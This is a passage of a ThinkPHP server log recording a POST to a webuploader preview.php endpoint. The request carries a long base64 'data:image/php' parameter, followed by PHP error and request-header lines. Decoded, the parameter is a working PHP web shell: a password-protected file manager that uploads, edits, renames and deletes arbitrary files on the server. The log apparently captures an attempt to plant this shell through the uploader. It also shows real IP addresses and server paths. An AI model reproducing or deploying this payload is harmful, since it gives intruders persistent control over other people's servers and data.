SJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:03+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/admin/webuploader/server/preview.php [运行时间:0.002713s] [吞吐率:368.60req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3B